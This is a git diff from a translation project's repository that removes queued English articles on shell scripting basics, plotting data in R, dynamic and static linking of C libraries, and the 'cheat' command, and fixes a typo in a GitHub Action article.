-``` -$echo Front-{A,B,C}-Back -Front-A-Back, Front-B-Back, Front-C-Back - -$echo {Z..A} -Z Y X W V U T S R Q P O N M L K J I H G F E D C B A - -$mkdir {2009..2011}-0{1..9} {2009..2011}-{10..12} -``` - -This creates a directory for 12 months from 2009 to 2011. - -### Environment variables - -An environment variable is a dynamic-named value that can affect the way running processes will behave on a computer. This variable is a part of the environment in which a process runs. - -| - | - | -| :- | :- | -| printenv | Print part of all of the environment | -| set | set shell options | -| export | export environment to subsequently executed programs | -| alias | create an alias for command | - -### Network commands - -Network commands are very useful for troubleshooting issues on the network and to check the particular port connecting to the client. - -| - | - | -| :- | :- | -| ping | Send ICMP packets | -| traceroute | Print route packets to a network | -| netstat | print network connection, routing table, -interface stats | -| ftp/lftp | Internet file transfer program | -| wget | Non Interactive network downloader | -| ssh | OpenSSH SSH Client (remote login program) | -| scp | secure copy | -| sftp | Secure File transfer program | - -### Grep commands - -Grep commands are useful to find the errors and debug the logs in the system. It is one of the powerful tools that shell has. - -| - | - | -| :- | :- | -| grep -h ‘.zip’ file.list | . is any character | -| grep -h ‘^zip’ file.list | starts with zip | -| grep -h ‘zip$’ file.list | ends with zip | -| grep -h ‘^zip$’ file.list | containing only zip | -| grep -h ‘[^bz]zip’ file.list | not containing b and z | -| grep -h ‘^[A-Za-z0-9]’ file.list | file containing any valid names | - -### Quantifiers - -Here are some examples of quantifiers: - -| - | - | -| :- | :- | -| ? | match element zero or one time | -| * | match an element zero or more times | -| + | Match an element one or more times | -| {} | match an element specfic number of times | - -### Text processing - -Text processing is another important task in the current IT world. Programmers and administrators can use the commands to dice, cut and process texts. - -| - | - | -| :- | :- | -| cat -A $FILE | To find any CTRL character introduced | -| sort file1.txt file2.txt file3.txt > -final_sorted_list.txt | sort all files once | -| ls - l | sort -nr -k 5 | key field 5th column | -| sort --key=1,1 --key=2n distor.txt | key field 1,1 sort and second column sort -by numeric | -| sort foo.txt | uniq -c | to find repetition | -| cut -f 3 distro.txt | cut column 3 | -| cut -c 7-10 | cut character 7 - 10 | -| cut -d ‘:’ -f 1 /etc/password | delimiter : | -| sort -k 3.7nbr -k 3.1nbr -k 3.4nbr - distro.txt | 3 rd field 7 the character, -3rd field 1 character | -| paste file1.txt file2.txt > newfile.txt | merge two files | -| join file1.txt file2.txt | join on common two fields | - -### Hacks and tips - -In Linux, we can go back to our history of commands by either using simple commands or control options. - -| - | - | -| :- | :- | -| clear | clears the screen | -| history | stores the history | -| script filename | capture all command execution in a file | - - -Tips: - -> History : CTRL + {R, P} -> !!number : command history number -> !! : last command -> !?string : history containing last string -> !string : history containing last string - -``` -export HISTCONTROL=ignoredups -export HISTSIZE=10000 -``` - -As you get familiar with the Linux commands, you will be able to write wrapper scripts. All manual tasks like taking regular backups, cleaning up files, monitoring the system usage, etc, can be automated using scripts. This article will help you to start scripting, before you move to learning advanced concepts. - --------------------------------------------------------------------------------- - -via: https://www.opensourceforu.com/2022/05/the-basic-concepts-of-shell-scripting/ - -作者:[Sathyanarayanan Thangavelu][a] -选题:[lkxed][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.opensourceforu.com/author/sathyanarayanan-thangavelu/ -[b]: https://github.com/lkxed -[1]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Shell-scripting.jpg -[2]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-1-Manual-of-date-command.jpg diff --git a/sources/tech/20220527 Plotting Data in R- Graphs.md b/sources/tech/20220527 Plotting Data in R- Graphs.md deleted file mode 100644 index b7d1506fd2..0000000000 --- a/sources/tech/20220527 Plotting Data in R- Graphs.md +++ /dev/null @@ -1,311 +0,0 @@ -[#]: subject: "Plotting Data in R: Graphs" -[#]: via: "https://www.opensourceforu.com/2022/05/plotting-data-in-r-graphs/" -[#]: author: "Shakthi Kannan https://www.opensourceforu.com/author/shakthi-kannan/" -[#]: collector: "lkxed" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -Plotting Data in R: Graphs -====== -R has a number of packages for plotting graphs and data visualisation, such as graphics, lattice, and ggplot2. In this ninth article in the R series, we shall explore the various functions to plot data in R. - -![business-man-visulising-graphs][1] - -We will be using R version 4.1.2 installed on Parabola GNU/Linux-libre (x86-64) for the code snippets. - -``` -$ R --version - -R version 4.1.2 (2021-11-01) -- “Bird Hippie” -Copyright (C) 2021 The R Foundation for Statistical Computing -Platform: x86_64-pc-linux-gnu (64-bit) -``` - -R is free software and comes with absolutely no warranty. You are welcome to redistribute it under the terms of the GNU General Public License versions 2 or 3. For more information about these matters, see *https://www.gnu.org/licenses/.* - -### Plot - -Consider the all-India consumer price index (CPI – rural/urban) data set up to November 2021 available at *https://data.gov.in/catalog/all-india-consumer-price-index-ruralurban-0* for the different states in India. We can read the data from the downloaded file using the read.csv function, as shown below: - -``` -> cpi <- read.csv(file=”CPI.csv”, sep=”,”) - -> head(cpi) -Sector Year Name Andhra.Pradesh Arunachal.Pradesh Assam Bihar -1 Rural 2011 January 104 NA 104 NA -2 Urban 2011 January 103 NA 103 NA -3 Rural+Urban 2011 January 103 NA 104 NA -4 Rural 2011 February 107 NA 105 NA -5 Urban 2011 February 106 NA 106 NA -6 Rural+Urban 2011 February 105 NA 105 NA -Chattisgarh Delhi Goa Gujarat Haryana Himachal.Pradesh Jharkhand Karnataka -1 105 NA 103 104 104 104 105 104 -2 104 NA 103 104 104 103 104 104 -3 104 NA 103 104 104 103 105 104 -4 107 NA 105 106 106 105 107 106 -5 106 NA 105 107 107 105 107 108 -6 105 NA 104 105 106 104 106 106 -... -``` - -Let us aggregate the CPI values per year for the state of Punjab, and plot a line chart using the plot function, as follows: - -``` -> punjab <- aggregate(x=cpi$Punjab, by=list(cpi$Year), FUN=sum) - -> head(punjab) -Group.1 x -1 2011 3881.76 -2 2012 4183.30 -3 2013 4368.40 -4 2014 4455.50 -5 2015 4584.30 -6 2016 4715.80 - -> plot(punjab$Group.1, punjab$x, type=”l”, main=”Punjab Consumer Price Index upto November 2021”, xlab=”Year”, ylab=”Consumer Price Index”) -``` - -The following arguments are supported by the plot function: - -| Argument | Description | -| :- | :- | -| x | A vector for the x-axis | -| y | The vector or list in the y-axis | -| type | ‘p’ for points, ‘l’ for lines, ‘o’ for overplotted plots and lines, ‘s’ for stair steps, ‘h’ for histogram | -| xlim | The x limits of the plot | -| ylim | The y limits of the plot | -| main | The title of the plot | -| sub | The subtitle of the plot | -| xlab | The label for the x-axis | -| ylab | The label for the y-axis | -| axes | Logical value to draw the axes | - -The line chart is shown in Figure 1. - -![Figure 1: Line chart][2] - -The autocorrelation plot can be used to obtain correlation statistics for time series analysis, and the same can be generated using the acf function in R. You can specify the following autocorrelation types: *correlation, covariance*, or partial. Figure 2 shows the ACF chart that represents the CPI values (‘x’ in the chart) for the state of Punjab. - -![Figure 2: ACF chart][3] - -The function*acf* accepts the following arguments: - -| Argument | Description | -| :- | :- | -| x | A univariate or multivariate object or vector or matrix | -| lag.max | The maximum lag to calculate the acf | -| type | Supported values ‘correlation’, ‘covariance’, ‘partial’ | -| plot | The acf is plotted if this value is TRUE | -| i | A set of time difference lags to retain | -| j | A collection of names or numbers to retain | - -### Bar chart - -The barplot function is used to draw a bar chart. The chart for Punjab’s CPI can be generated as follows, and is shown in Figure 3: - -![Figure 3: Line chart of Punjab’s CPI][4] - -``` -> barplot(punjab$x, main=”Punjab Consumer Price Index”, sub=”Upto November 2021”, xlab=”Year”, ylab=”Consumer Price Index”, col=”navy”) -``` - -The function is quite flexible and supports the following arguments: - -| Argument | Description | -| :- | :- | -| height | A numeric vector or matrix that contains the values | -| width | A numeric vector that specifies the widths of the bars | -| space | The amount of space between bars | -| beside | A logical value to specify if the bars should be stacked or next to each other | -| density | A numerical value that specifies the density of the shading lines | -| angle | The angle used to shade the lines | -| border | The colour of the border | -| main | The title of the chart | -| sub | The sub-title of the chart | -| xlab | The label for the x-axis | -| ylab | The label for the y-axis | -| xlim | The limits for the x-axis | -| ylim | The limits for the y-axis | -| axes | A value that specifies whether the axes should be drawn | - -You can get more details on the barplot function using the help command, as shown below: - -``` -> help(barplot) - -acf package:stats R Documentation - -Auto- and Cross- Covariance and -Correlation Function Estimation - -Description: - -The function ‘acf’ computes (and by default plots) estimates of -the autocovariance or autocorrelation function. Function ‘pacf’ -is the function used for the partial autocorrelations. Function -‘ccf’ computes the cross-correlation or cross-covariance of two -univariate series. - -Usage: - -acf(x, lag.max = NULL, -type = c(“correlation”, “covariance”, “partial”), -plot = TRUE, na.action = na.fail, demean = TRUE, ...) - -pacf(x, lag.max, plot, na.action, ...) - -## Default S3 method: -pacf(x, lag.max = NULL, plot = TRUE, na.action = na.fail, -...) - -ccf(x, y, lag.max = NULL, type = c(“correlation”, “covariance”), -plot = TRUE, na.action = na.fail, ...) - -## S3 method for class ‘acf’ -x[i, j] -``` - -### Pie chart - -Pie charts need to be used wisely, as they may not actually show relative differences among the slices. We can generate the Rural, Urban, and Rural+Urban values for the month of January 2021 for Gujarat as follows, using the subset function: - -``` -> jan2021 <- subset(cpi, Name==”January” & Year==”2021”) - -> jan2021$Gujarat -[1] 153.9 151.2 149.1 - -> names <- c(‘Rural’, ‘Urban’, ‘Rural+Urban’) -``` - -![Figure 4: Pie chart][5] - -The pie function can be used to generate the actual pie chart for the state of Gujarat, as shown below: - -``` -> pie(jan2021$Gujarat, names, main=”Gujarat CPI Rural and Urban Pie Chart”) -``` - -The following arguments are supported by the pie function: - -| Argument | Description | -| :- | :- | -| x | Positive numeric values to be plotted | -| label | A vector of character strings for the labels | -| radius | The size of the pie | -| clockwise | A value to indicate if the pie should be drawn clockwise or counter-clockwise | -| density | A value for the density of shading lines per inch | -| angle | The angle that specifies the slope of the shading lines in degrees | -| col | A numeric vector of colours to be used | -| lty | The line type for each slice | -| main | The title of the chart | - -### Boxplot - -A boxplot shows the interquartile range between the 25th and 75th percentile using two ‘whiskers’ for the distribution of a variable. The values outside the range are plotted separately. The boxplot functions take the following arguments: - -| Argument | Description | -| :- | :- | -| data | A data frame or list that is defined | -| x | A vector that contains the values to plot | -| width | The width of the boxes to be plotted | -| outline | A logical value indicating whether to draw the outliers | -| names | The names of the labels for each box plot | -| border | The colour to use for the outline of each box plot | -| range | A maximum numerical amount the whiskers should extend from the boxes | -| plot | The boxes are plotted if this value is TRUE | -| horizontal | A logical value to indicate if the boxes should be drawn horizontally | - -The boxplot for a few states from the CPI data is shown below: - -``` -> names <- c (‘Andaman and Nicobar’, ‘Lakshadweep’, ‘Delhi’, ‘Goa’, ‘Gujarat’, ‘Bihar’) -> boxplot(cpi$Andaman.and.Nicobar, cpi$Lakshadweep, cpi$Delhi, cpi$Goa, cpi$Gujarat, cpi$Bihar, names=names) -``` - -![Figure 5: Box plot][6] - -![Figure 6: Q-Q plot][7] - -### Q-Q plot - -The Quantile-Quantile (Q-Q) plot is a way to compare two data sets. You can also compare a data set with a theoretical distribution. The qqnorm function is a generic function, and we can view the Q-Q plot for the Punjab CPI data as shown below: - -``` -> qqnorm(punjab$x) -``` - -![Figure 7: Volcano][8] - -The*qqline* function adds a theoretical line to a normal, quantile-quantile plot. The following arguments are accepted by these functions: - -| Argument | Description | -| :- | :- | -| x | The first data sample | -| y | The second data sample | -| datax | A logical value indicating if values should be on the x-axis | -| probs | A numerical vector representing probabilities | -| xlab | The label for x-axis | -| ylab | The label for y-axis | -| qtype | The type of quantile computation | - -### Contour plot - -The contour function is useful for plotting three-dimensional data. You can generate a new contour plot, or add contour lines to an existing chart. These are commonly used along with image charts. The volcano data set in R provides information on the Maunga Whau (Mt Eden) volcanic field, and the same can be visualised with the contour function as follows: - -``` -> contour(volcano) -``` - -The contour function accepts the following arguments: - -| Argument | Description | -| :- | :- | -| x,y | The location of the grid for z | -| z | A numeric vector to be plotted | -| nlevels | The number of contour levels | -| labels | A vector of labels for the contour lines | -| xlim | The x limits for the plot | -| ylim | The y limits for the plot | -| zlim | The z limits for the plot | -| axes | A value to indicate to print the axes | -| col | The colour for the contour lines | -| lty | The line type to draw | -| lwd | Width for the lines | -| vfont | The font for the labels | - -The areas between the contour lines can be filled using a solid colour to indicate the levels, as shown below: - -``` -> filled.contour(volcano, asp = 1) -``` - -The same volcano data set with the filled.contour colours is illustrated in Figure 8. - -![Figure 8: Filled volcano][9] - -You are encouraged to explore the other functions and charts in the graphics package in R. - --------------------------------------------------------------------------------- - -via: https://www.opensourceforu.com/2022/05/plotting-data-in-r-graphs/ - -作者:[Shakthi Kannan][a] -选题:[lkxed][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.opensourceforu.com/author/shakthi-kannan/ -[b]: https://github.com/lkxed -[1]: https://www.opensourceforu.com/wp-content/uploads/2022/04/business-man-visulising-graphs.jpg -[2]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-1-Line-chart.jpg -[3]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-2-ACF-chart.jpg -[4]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-3-Line-chart-of-Punjabs-CPI.jpg -[5]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-4-Pie-chart.jpg -[6]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-5-ox-plot.jpg -[7]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-6-Q-Q-plot.jpg -[8]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-7-Volcano.jpg -[9]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-8-Filled-volcano.jpg diff --git a/sources/tech/20220531 How dynamic linking for modular libraries works on Linux.md b/sources/tech/20220531 How dynamic linking for modular libraries works on Linux.md deleted file mode 100644 index e3cba06c3e..0000000000 --- a/sources/tech/20220531 How dynamic linking for modular libraries works on Linux.md +++ /dev/null @@ -1,223 +0,0 @@ -[#]: subject: "How dynamic linking for modular libraries works on Linux" -[#]: via: "https://opensource.com/article/22/5/dynamic-linking-modular-libraries-linux" -[#]: author: "Jayashree Huttanagoudar https://opensource.com/users/jayashree-huttanagoudar" -[#]: collector: "lkxed" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -How dynamic linking for modular libraries works on Linux -====== -Learn how to combine multiple C object files into single executable with dynamic libraries. - -![Links][1] - -Image by: Paul Lewin. Modified by Opensource.com. CC BY-SA 2.0 - -When you write an application using the C programming language, your code usually has multiple source files. - -Ultimately, these files must be compiled into a single executable. You can do this by creating either static or dynamic libraries (the latter are also referred to as shared libraries). These two types of libraries vary in how they are created and linked. Both have advantages and disadvantages, depending on your use case. - -Dynamic linking is the most common method, especially on Linux systems. Dynamic linking keeps libraries modular, so just one library can be shared between any number of applications. Modularity also allows a shared library to be updated independently of the applications that rely upon it. - -In this article, I demonstrate how dynamic linking works. In a future article, I'll demonstrate static linking. - -### Linker - -A linker is a command that combines several pieces of a program together and reorganizes the memory allocation for them. - -The functions of a linker include: - -* Integrating all the pieces of a program -* Figuring out a new memory organization so that all the pieces fit together -* Reviving addresses so that the program can run under the new memory organization -* Resolving symbolic references - -As a result of all these linker functionalities, a runnable program called an executable is created. Before you can create a dynamically linked executable, you need some libraries to link *to* and an application to compile. Get your [favorite text editor][2] ready and follow along. - -### Create the object files - -First, create the header file `mymath.h` with these function signatures: - -``` -int add(int a, int b); -int sub(int a, int b); -int mult(int a, int b); -int divi(int a, int b); -``` - -Create `add.c`, `sub.c` , `mult.c` and `divi.c` with these function definitions. I'm placing all of the code in one code block, so divide it up among four files, as indicated in the comments: - -``` -// add.c -int add(int a, int b){ -return (a+b); -} - -//sub.c -int sub(int a, int b){ -return (a-b); -} - -//mult.c -int mult(int a, int b){ -return (a*b); -} - -//divi.c -int divi(int a, int b){ -return (a/b); -} -``` - -Now generate object files `add.o`, `sub.o`, `mult.o`, and `divi.o` using GCC: - -``` -$ gcc -c add.c sub.c mult.c divi.c -``` - -The `-c` option skips the linking step and creates only object files. - -### Creating a shared object file - -Dynamic libraries are linked during the execution of the final executable. Only the name of the dynamic library is placed in the final executable. The actual linking happens during runtime, when both executable and library are placed in the main memory. - -In addition to being sharable, another advantage of a dynamic library is that it reduces the size of the final executable file. Instead of having a redundant copy of the library, an application using a library includes only the name of the library when the final executable is created. - -You can create dynamic libraries from your existing sample code: - -``` -$ gcc -Wall -fPIC -c add.c sub.c mult.c divi.c -``` - -The option `-fPIC` tells GCC to generate position-independent code (PIC). The `-Wall` option isn't necessary and has nothing to do with how the code is compiling. Still, it's a valuable option because it enables compiler warnings, which can be helpful when troubleshooting. - -Using GCC, create the shared library `libmymath.so` : - -``` -$ gcc -shared -o libmymath.so \ -add.o sub.o mult.o divi.o -``` - -You have now created a simple example math library, `libmymath.so`, which you can use in C code. There are, of course, very complex C libraries out there, and this is the process their developers use to generate the final product that you or I install for use in C code. - -Next, you can use your new math library in some custom code, then link it. - -### Creating a dynamically linked executable - -Suppose you've written a command for mathematics. Create a file called `mathDemo.c` and paste this code into it: - -``` -#include -#include -#include - -int main() -{ -  int x, y; -  printf("Enter two numbers\n"); -  scanf("%d%d",&x,&y); -  -  printf("\n%d + %d = %d", x, y, add(x, y)); -  printf("\n%d - %d = %d", x, y, sub(x, y)); -  printf("\n%d * %d = %d", x, y, mult(x, y)); - -  if(y==0){ -    printf("\nDenominator is zero so can't perform division\n"); -      exit(0); -  }else{ -      printf("\n%d / %d = %d\n", x, y, divi(x, y)); -      return 0; -  } -} -``` - -Notice that the first line is an `include` statement referencing, by name, your own `libmymath` library. To use a shared library, you must have it installed. If you don't install the library you use, then when your executable runs and searches for the included library, it won't be able to find it. Should you need to compile code without installing a library to a known directory, there are [ways to override default settings][3]. For general use, however, it's expected that libraries exist in known locations, so that's what I'm demonstrating here. - -Copy the file `libmymath.so` to a standard system directory, such as `/usr/lib64`, and then run `ldconfig`. The `ldconfig` command creates the required links and cache to the most recent shared libraries found in the standard library directories. - -``` -$ sudo cp libmymath.so /usr/lib64/ -$ sudo ldconfig -``` - -### Compiling the application - -Create an object file called `mathDemo.o` from your application source code (`mathDemo.c` ): - -``` -$ gcc -I . -c mathDemo.c -``` - -The `-I` option tells GCC to search for header files (`mymath.h` in this case) in the directory listed after it. In this case, you're specifying the current directory, represented by a single dot (`.` ). Create an executable, referring to your shared math library by name using the `-l` option: - -``` -$ gcc -o mathDynamic mathDemo.o -lmymath -``` - -GCC finds `libmymath.so` because it exists in a default system library directory. Use `ldd` to verify the shared libraries used: - -``` -$ ldd mathDemo -    linux-vdso.so.1 (0x00007fffe6a30000) -    libmymath.so => /usr/lib64/libmymath.so (0x00007fe4d4d33000) -    libc.so.6 => /lib64/libc.so.6 (0x00007fe4d4b29000) -    /lib64/ld-linux-x86-64.so.2 (0x00007fe4d4d4e000) -``` - -Take a look at the size of the `mathDemo` executable: - -``` -$ du ./mathDynamic -24   ./mathDynamic -``` - -It's a small application, of course, and the amount of disk space it occupies reflects that. For comparison, a statically linked version of the same code (as you'll see in my next article) is 932K! - -``` -$ ./mathDynamic -Enter two numbers -25 -5 - -25 + 5 = 30 -25 - 5 = 20 -25 * 5 = 125 -25 / 5 = 5 -``` - -You can verify that it's dynamically linked with the `file` command: - -``` -$ file ./mathDynamic -./mathDynamic: ELF 64-bit LSB executable, x86-64, -dynamically linked, -interpreter /lib64/ld-linux-x86-64.so.2, -with debug_info, not stripped -``` - -Success! - -### Dynamically linking - -A shared library leads to a lightweight executable, as the linking happens during runtime. Because it resolves references during runtime, it does take more time for execution. However, since the vast majority of commands on everyday Linux systems are dynamically linked and on modern hardware, the time saved is negligible. Its inherent modularity is a powerful feature for developers and users alike. - -In this article, I described how to create dynamic libraries and link them into a final executable. I'll use the same source code to create a statically linked executable in my next article. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/22/5/dynamic-linking-modular-libraries-linux - -作者:[Jayashree Huttanagoudar][a] -选题:[lkxed][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/jayashree-huttanagoudar -[b]: https://github.com/lkxed -[1]: https://opensource.com/sites/default/files/lead-images/links.png -[2]: https://opensource.com/article/21/2/open-source-text-editors -[3]: https://opensource.com/article/22/5/compile-code-ldlibrarypath diff --git a/sources/tech/20220602 Creating a GitHub Action from Scratch.md b/sources/tech/20220602 Creating a GitHub Action from Scratch.md index 550971f29d..66530640b2 100644 --- a/sources/tech/20220602 Creating a GitHub Action from Scratch.md +++ b/sources/tech/20220602 Creating a GitHub Action from Scratch.md @@ -69,7 +69,7 @@ An action has essentially two components (Figure 4). One is a YAML file called a Let us look at what exactly these two components do. -The*action.yml* file stores the metadata about the action you are building. It stores details like the name of the action, what are the inputs it needs and the outputs it delivers. It also defines whether the source code of the action is in JavaScript that can be run using Node12, or is a Docker image. It also contains information about where to find the JavaScript files or the Docker image to run the action. +The *action.yml* file stores the metadata about the action you are building. It stores details like the name of the action, what are the inputs it needs and the outputs it delivers. It also defines whether the source code of the action is in JavaScript that can be run using Node12, or is a Docker image. It also contains information about where to find the JavaScript files or the Docker image to run the action. The source code part of your action contains the actual logic of it. This can be JavaScript files that can run using Node12, a Dockerfile that you are going to build when an action runs, or it can simply be a Docker image that you refer to. It will have access to the event payload that triggered the workflow and also the context of the workflow run through environment variables (ENV). You can easily call GitHub’s APIs or other APIs from within your source code as a part of your logic, to accomplish the action’s task. diff --git a/sources/tech/20220602 The only Linux command you need to know.md b/sources/tech/20220602 The only Linux command you need to know.md deleted file mode 100644 index eb6364dd7f..0000000000 --- a/sources/tech/20220602 The only Linux command you need to know.md +++ /dev/null @@ -1,165 +0,0 @@ -[#]: subject: "The only Linux command you need to know" -[#]: via: "https://opensource.com/article/22/6/linux-cheat-command" -[#]: author: "Seth Kenlon https://opensource.com/users/seth" -[#]: collector: "lkxed" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -The only Linux command you need to know -====== -The Linux cheat command is a utility to search for and display a list of example tasks you might do with a command. - -![Command line prompt][1] - -Image by: Opensource.com - -Information about Linux and open source abounds on the internet, but when you're entrenched in your work there's often a need for quick documentation. Since the early days of Unix, well before Linux even existed, there's been the `man` (short for "manual") and `info` commands, both of which display official project documentation about commands, configuration files, system calls, and more. - -There's a debate over whether `man` and `info` pages are meant as helpful reminders for users who already know how to use a tool, or an intro for first time users. Either way, both `man` and `info` pages describe tools and how to use them, and rarely address specific tasks and how to accomplish them. It's for that very reason that the `cheat` command was developed. - -For instance, suppose you can't remember how to [unarchive a tar file][2]. The `man` page provides you with all the options you require, but it leaves it up to you to translate this information into a functional command: - -``` -tar -A [OPTIONS] ARCHIVE ARCHIVE -tar -c [-f ARCHIVE] [OPTIONS] [FILE...] -tar -d [-f ARCHIVE] [OPTIONS] [FILE...] -tar -t [-f ARCHIVE] [OPTIONS] [MEMBER...] -tar -r [-f ARCHIVE] [OPTIONS] [FILE...] -tar -u [-f ARCHIVE] [OPTIONS] [FILE...] -tar -x [-f ARCHIVE] [OPTIONS] [MEMBER...] -``` - -That's exactly what some users need, but it confounds other users. The cheat sheet for tar, by contrast, provides complete common commands: - -``` -$ cheat tar - -# To extract an uncompressed archive: -tar -xvf /path/to/foo.tar - -# To extract a .tar in specified Directory: -tar -xvf /path/to/foo.tar -C /path/to/destination/ - -# To create an uncompressed archive: -tar -cvf /path/to/foo.tar /path/to/foo/ - -# To extract a .tgz or .tar.gz archive: -tar -xzvf /path/to/foo.tgz -tar -xzvf /path/to/foo.tar.gz -[...] -``` - -It's exactly what you need, when you need it. - -### The Linux cheat command - -The `cheat` command is a utility to search for and display a list of example tasks you might do with a Linux command. As with many Unix commands, there are different implementations of the same concept, including one [written in Go][3] and one, which I help maintain, [written in just 100 lines of Bash][4]. - -To install the Go version, download [the latest release][5] and put it somewhere in [your path][6], such as `~/.local/bin/` or `/usr/local/bin`. To install the Bash version, download the latest release and run the `install-cheat.sh` script: - -``` -$ sh ./install-cheat.sh -``` - -Or to configure the installation, use [Autotools][7]: - -``` -$ aclocal ; autoconf -$ automake --add-missing ; autoreconf -$ ./configure --prefix=$HOME/.local -$ make -$ make install -``` - -### Get cheat sheets for your Linux terminal - -Cheat sheets are just plain text files containing common commands. The main collection of cheat sheets is available at [Github.com/cheat/cheatsheets][8]. The Go version of cheat downloads cheatsheets for you when you first run the command. If you're using the Bash version of cheat, the `--fetch` option downloads cheatsheets for you: - -``` -$ cheat --fetch -``` - -As with `man` pages, you can have multiple collections of cheat sheets on your system. The Go version of cheat uses a [YAML][9] config file to define where each collection is located. The Bash version defines the path during the install, and by default downloads the [Github.com/cheat/cheatsheets][10] collection as well as [Opensource.com][11]'s own [Gitlab.com/opensource.com/cheatsheets][12] collection. - -### List cheat sheets - -To list the cheat sheets on your system, use the `--list` option: - -``` -$ cheat --list -7z -ab -acl -alias -ansi -ansible -ansible-galaxy -ansible-vault -apk -[...] -``` - -### View a Linux cheat sheet - -Viewing a cheat sheet is as easy as viewing a `man` or `info` page. Just provide the name of the command you need help with: - -``` -$ cheat alias - -# To show a list of your current shell aliases: -alias - -# To alias `ls -l` to `ll`: -alias ll='ls -l' -``` - -By default, the `cheat` command uses your environment's pager. Your pager is set with the `PAGER` [environment variable][13]. You can override that temporarily by redefining the `PAGER` variable before running the `cheat` command: - -``` -$ PAGER=most cheat less -``` - -If you just want to [cat][14] the cheat sheet into your terminal without a pager, the Bash version has a `--cat` option for convenience: - -``` -$ cheat --cat less -``` - -### It's not actually cheating - -The cheat system cuts to the chase. You don't have to piece together clues about how to use a command. You just follow the examples. Of course, for complex commands, it's not a shortcut for a thorough study of the actual documentation, but for quick reference, it's as fast as it gets. - -You can even create your own cheat sheet just by placing a file in one of the cheat sheet collections. Good news! Because the projects are open source, you can contribute your personal cheat sheets to the GitHub collection. And more good news! When there's a new Opensource.com [cheat sheet][15] release, we'll include a plain text version from now on so you can add that to your collection. - -The command is called `cheat`, but as any Linux user will assure you, it's not actually cheating. It's working smarter, the open source way. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/22/6/linux-cheat-command - -作者:[Seth Kenlon][a] -选题:[lkxed][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/seth -[b]: https://github.com/lkxed -[1]: https://opensource.com/sites/default/files/lead-images/command_line_prompt.png -[2]: https://opensource.com/article/17/7/how-unzip-targz-file -[3]: https://github.com/cheat/cheat -[4]: https://gitlab.com/slackermedia/cheat -[5]: https://github.com/cheat/cheat/releases -[6]: https://opensource.com/article/17/6/set-path-linux -[7]: https://opensource.com/article/19/7/introduction-gnu-autotools -[8]: https://github.com/cheat/cheatsheets -[9]: https://opensource.com/article/21/9/yaml-cheat-sheet -[10]: https://github.com/cheat/cheatsheets -[11]: http://Opensource.com -[12]: https://gitlab.com/opensource.com/cheatsheets -[13]: https://opensource.com/article/19/8/what-are-environment-variables -[14]: https://opensource.com/article/19/2/getting-started-cat-command -[15]: https://opensource.com/downloads diff --git a/sources/tech/20220603 How static linking works on Linux.md b/sources/tech/20220603 How static linking works on Linux.md deleted file mode 100644 index 00136f9851..0000000000 --- a/sources/tech/20220603 How static linking works on Linux.md +++ /dev/null @@ -1,217 +0,0 @@ -[#]: subject: "How static linking works on Linux" -[#]: via: "https://opensource.com/article/22/6/static-linking-linux" -[#]: author: "Jayashree Huttanagoudar https://opensource.com/users/jayashree-huttanagoudar" -[#]: collector: "lkxed" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -How static linking works on Linux -====== -Learn how to combine multiple C object files into a single executable with static libraries. - -![Woman using laptop concentrating][1] - -Image by Mapbox Uncharted ERG, [CC-BY 3.0 US][2] - -Code for applications written using C usually has multiple source files, but ultimately you will need to compile them into a single executable. - -You can do this in two ways: by creating a static library or a dynamic library (also called a shared library). These two types of libraries vary in terms of how they are created and linked. Your choice of which to use depends on your use case. - -In a [previous article][3], I demonstrated how to create a dynamically linked executable, which is the more commonly used method. In this article, I explain how to create a statically linked executable. - -### Using a linker with static libraries - -A linker is a command that combines several pieces of a program together and reorganizes the memory allocation for them. - -The functions of a linker include: - -* Integrating all the pieces of a program -* Figuring out a new memory organization so that all the pieces fit together -* Reviving addresses so that the program can run under the new memory organization -* Resolving symbolic references - -As a result of all these linker functionalities, a runnable program called an executable is created. - -Static libraries are created by copying all necessary library modules used in a program into the final executable image. The linker links static libraries as a last step in the compilation process. An executable is created by resolving external references, combining the library routines with program code. - -### Create the object files - -Here's an example of a static library, along with the linking process. First, create the header file `mymath.h` with these function signatures: - -``` -int add(int a, int b); -int sub(int a, int b); -int mult(int a, int b); -int divi(int a, int b); -``` - -Create `add.c`, `sub.c` , `mult.c` and `divi.c` with these function definitions: - -``` -// add.c -int add(int a, int b){ -return (a+b); -} - -//sub.c -int sub(int a, int b){ -return (a-b); -} - -//mult.c -int mult(int a, int b){ -return (a*b); -} - -//divi.c -int divi(int a, int b){ -return (a/b); -} -``` - -Now generate object files `add.o`, `sub.o`, `mult.o`, and `divi.o` using GCC: - -``` -$ gcc -c add.c sub.c mult.c divi.c -``` - -The `-c` option skips the linking step and creates only object files. - -Create a static library called `libmymath.a`, then 